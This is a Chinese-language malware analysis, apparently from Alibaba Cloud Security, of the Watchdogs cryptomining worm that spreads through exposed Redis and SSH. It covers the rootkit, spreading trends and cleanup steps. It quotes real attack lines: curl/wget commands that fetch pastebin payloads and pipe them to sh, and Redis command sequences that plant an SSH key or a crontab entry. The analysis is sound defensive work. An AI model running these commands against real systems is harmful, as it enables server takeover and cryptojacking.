Watchdogs利用Redis實施大規模挖礦，常見資料庫蠕蟲如何破？

許此一生發表於2019-03-13

背景

2月20日17時許，阿里雲安全監測到一起大規模挖礦事件，判斷為Watchdogs蠕蟲導致，並在第一時間進行了應急處置。

該蠕蟲短時間內即造成大量Linux主機淪陷，一方面是利用Redis未授權訪問和弱密碼這兩種常見的配置問題進行傳播，另一方面從known_hosts檔案讀取ip列表，用於登入信任該主機的其他主機。這兩種傳播手段都不是第一次用於蠕蟲，但結合在一起爆發出巨大的威力。

然而Watchdogs並不是第一個造成這般影響的Redis蠕蟲。截至目前，Redis配置問題已慘遭40餘種蠕蟲攻擊和利用；此外，其他種類資料庫的配置問題，也難保不在將來成為黑客的目標。

因此，本文在分析此次Watchdogs挖礦蠕蟲、提供清理建議的同時，也分析了資料庫蠕蟲的發展趨勢，並針對類似的大規模入侵事件的應急和預防給出建議。

Watchdogs 挖礦蠕蟲簡介

該蠕蟲的感染路徑如下圖所示。

蠕蟲傳播方式

攻擊者首先掃描存在未授權訪問或弱密碼的Redis，並控制相應主機去請求以下地址：

https://pastebin.com/raw/sByq0rym複製程式碼

該地址包含的命令是請求、base64解碼並執行另一個url地址的內容：

(curl -fsSL https://pastebin.com/raw/D8E71JBJ||wget -q -O- https://pastebin.com/raw/D8E71JBJ)|base64 -d|sh複製程式碼

而pastebin.com/raw/D8E71JB… 的內容解碼後為一個bash指令碼，指令碼中又包含下載惡意程式Watchdogs的指令。

(curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs複製程式碼

如上圖所示，本次蠕蟲的橫向傳播分為兩塊。

一是Bash指令碼包含的如下內容，會直接讀取主機上的/root/.ssh/known_hosts和/root/.ssh/id_rsa.pub檔案，用於登入信任當前主機的機器，並控制這些機器執行惡意指令。

二是Bash指令碼下載的Watchdogs程式，通過對Redis的未授權訪問和爆破、以及對SSH的爆破，進行橫向傳播。

具體為表現為，Watchdogs程式的Bbgo()函式中，首先獲取要攻擊的ip列表

隨後嘗試登入其他主機的ssh服務，一旦登入成功則執行惡意指令碼下載命令

在Ago()函式中，則表現為針對其他主機Redis的掃描和攻擊。

惡意Bash指令碼

除了下載Watchdogs程式和橫向傳播外，Bash指令碼還具有以下幾項功能

1.將下載自身的指令新增到crontab定時任務，10分鐘執行一次

2.殺死同類的挖礦殭屍木馬程式

殺死cpu佔用大於80%的其他程式

簡而言之，bash指令碼主要是完成惡意程式植入、持久化和一部分的橫向傳播功能。

Watchdogs分析

Watchdogs程式為elf可執行檔案，由go語言編譯，其主要函式結構如下圖所示。

1.LibiosetWrite()

該函式主要執行libioset.so檔案的寫入

2.Cron()
將惡意下載命令新增到/etc/cron.d/root等多個檔案中，定時執行，加大清理難度

3.KsoftirqdsWriteRun()
解壓並寫入挖礦程式及其配置檔案

Bbgo()和Ago()函式的功能在“蠕蟲傳播方式”一節已有介紹，此處不再贅述。

綜上，Watchdogs程式在Bash指令碼執行的基礎上，將進一步進行挖礦程式的釋放和執行、惡意so檔案寫入以及剩餘的橫向傳播。

libioset.so分析

如圖是libioset.so的匯出函式表，包括unlink, rmdir, readdir等。

這裡以執行rm命令必須呼叫的unlink()函式為例。

它只對不包含"ksoftirqds"、"ld.so.preload"、"libioset.so"這幾個字串的檔案呼叫正常的unlink()，導致幾個檔案無法被正常刪除。

其他幾個命令，如readdir也是類似，無法正常返回關於惡意程式的結果。

而fopen函式更是變本加厲，由於系統查詢cpu使用情況和埠占用情況時，都會呼叫fopen，於是攻擊者hook了這一函式，使其在讀取'/proc/stat'和'/proc/net/tcp'等檔案時，呼叫偽造函式

其中forge_proc_cpu()函式，將返回硬編碼的字串

這種對檢視系統狀態功能的惡意hook，導致使用者難以通過簡單自查，確定挖礦是否存在以及挖礦程式是哪個。

“許多黑客模仿我的程式碼”——資料庫蠕蟲趨勢統計

此次的Watchdogs挖礦蠕蟲與18年出現的kworkerd蠕蟲出自同一位作者（關於kworkerd挖礦殭屍網路參見《2018年雲上挖礦分析報告》），因為它們使用了相同的錢包地址和相似的攻擊手法。此外作者在惡意指令碼末尾的註釋也印證了這點：

#1.If you crack my program, please don't reveal too much code online.Many hacker boys have copied my kworkerds code,more systems are being attacked.(Especially libioset)...複製程式碼

這段註釋同時也揭露了一個事實，“許多黑客模仿我的程式碼”——當一個攻擊者採取了某種攻擊手法並取得成功，其他攻擊者會紛紛模仿，很快將該手段加入自己的“攻擊大禮包”。

這種模仿的結果是，據阿里雲安全不完全統計，利用Redis未授權訪問等問題進行攻擊的蠕蟲，數量已從2018年中的一個，上漲到如今的40餘個，其中不乏DDG、8220這樣臭名昭著的挖礦團伙。此外大部分近期新出現的蠕蟲，都會加上Redis利用模組，因為實踐證明網際網路上錯誤配置的Redis資料庫數量龐大，能從其中分一杯羹，攻擊者的盈利就能有很大的提升。

因而如果不保護好Redis，使用者面臨的將不是一個蠕蟲，而是40餘個蠕蟲此起彼伏的攻擊。

下圖所示為近半年來，針對Redis的攻擊流量和目標機器數量趨勢，從中不難看出Redis攻擊逐漸被各大殭屍網路採用，並在2018年10月11月保持非常高的攻擊量；而後在經歷了3個月左右的沉寂期後，在今年2月再次爆發。

而Redis本身遭受攻擊的主流方法也經過了三個階段

1.攻擊者對存在未授權訪問的Redis伺服器寫入ssh key，從而可以暢通無阻登入ssh服務

具體為執行以下payload

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa 【sshkey】 root@kali\n\n\n"
save複製程式碼

其中【sshkey】表示攻擊者的金鑰

2.攻擊者對存在未授權訪問的Redis伺服器寫入crontab檔案，定時執行惡意操作

具體為執行以下payload

config set dir /var/spool/cron
config set dbfilename root
set x "【evil command】"
save複製程式碼

其中【evil command】表示定時執行的惡意命令

3.以上兩個階段中僅對Redis完全沒有驗證即可訪問的情況，第三個階段則開始針對設定了密碼驗證，但密碼較弱的Redis進行攻擊，受害範圍進一步擴大。

然而Redis並不是唯一一個受到黑客“青眼”的資料庫。如下表所示，SQL Server, Mysql, Mongodb這些常用資料庫的安全問題，也被多個挖礦殭屍網路所利用；利用方式集中在未授權訪問、密碼爆破和漏洞利用。

Watchdogs入侵修復及清理方法

1.首先停止cron服務，避免因其不斷執行而導致惡意檔案反覆下載執行。

如果作業系統可以使用service命令，則執行

service crond stop

如果沒有service命令，執行

/etc/init.d/cron stop

2.隨後使用busybox刪除以下兩個so檔案：

sudo busybox rm -f /etc/ld.so.preload
sudo busybox rm -f /usr/local/lib/libioset.so
sudo ldconfig複製程式碼

busybox是一個小巧的unix工具集，許多Linux系統裝機時已整合。使用它進行刪除是因為系統自帶的rm命令需要進行動態so庫呼叫，而so庫被惡意hook了，無法進行正常刪除；而busybox的rm是靜態編譯的，無需呼叫so檔案，所以不受影響。

3.清理惡意程式

sudo kill -9 `ps -ef|grep Watchdogs|grep -v grep |awk '{print $2}'`
sudo kill -9 `ps -ef|grep ksoftirqds|grep -v grep |awk '{print $2}'`複製程式碼

4.清理cron相關檔案，重啟服務，具體為檢查以下檔案並清除其中的惡意指令：

/var/spool/cron/crontabs/root
/var/spool/cron/root
/etc/cron.d/root複製程式碼

之後執行

service crond start複製程式碼

或

/etc/init.d/cron start複製程式碼

安全建議

數字加密貨幣的獲取依賴計算資源的特質，催生了黑客進行大規模入侵的動機和土壤；類似Watchdogs蠕蟲這樣的資料庫入侵事件，不是第一起，也不會是最後一起。阿里雲作為“編寫時即考慮安全性”的平臺，提供良好的安全基礎設施和豐富的安全產品，幫助使用者抵禦挖礦和入侵，同時提供以下安全建議：

1.在入侵發生之前，加強資料庫服務的密碼，儘量不將資料庫服務開放在網際網路上，或根據實際情況進行訪問控制（ACL）。這些措施能夠幫助有效預防挖礦、勒索等攻擊。平時還要注意備份資料，重視安全產品告警。

2.如果懷疑主機已被入侵挖礦，對於自身懂安全的使用者，在攻擊者手段較簡單的情況下，可以通過自查cpu使用情況、執行程式、定時任務等方式，鎖定入侵源頭。

3.對於攻擊者採用較多隱藏手段的攻擊（如本次的Watchdogs蠕蟲，使ps、top等系統命令失效），建議使用阿里雲安全的下一代雲防火牆產品，其阻斷惡意外聯、能夠配置智慧策略的功能，能夠有效幫助防禦入侵。哪怕攻擊者在主機上的隱藏手段再高明，下載、挖礦、反彈shell這些操作，都需要進行惡意外聯；雲防火牆的攔截將徹底阻斷攻擊鏈。此外，使用者還可以通過自定義策略，直接遮蔽pastebin.com、thrysi.com等廣泛被挖礦蠕蟲利用的網站，達到阻斷入侵的目的。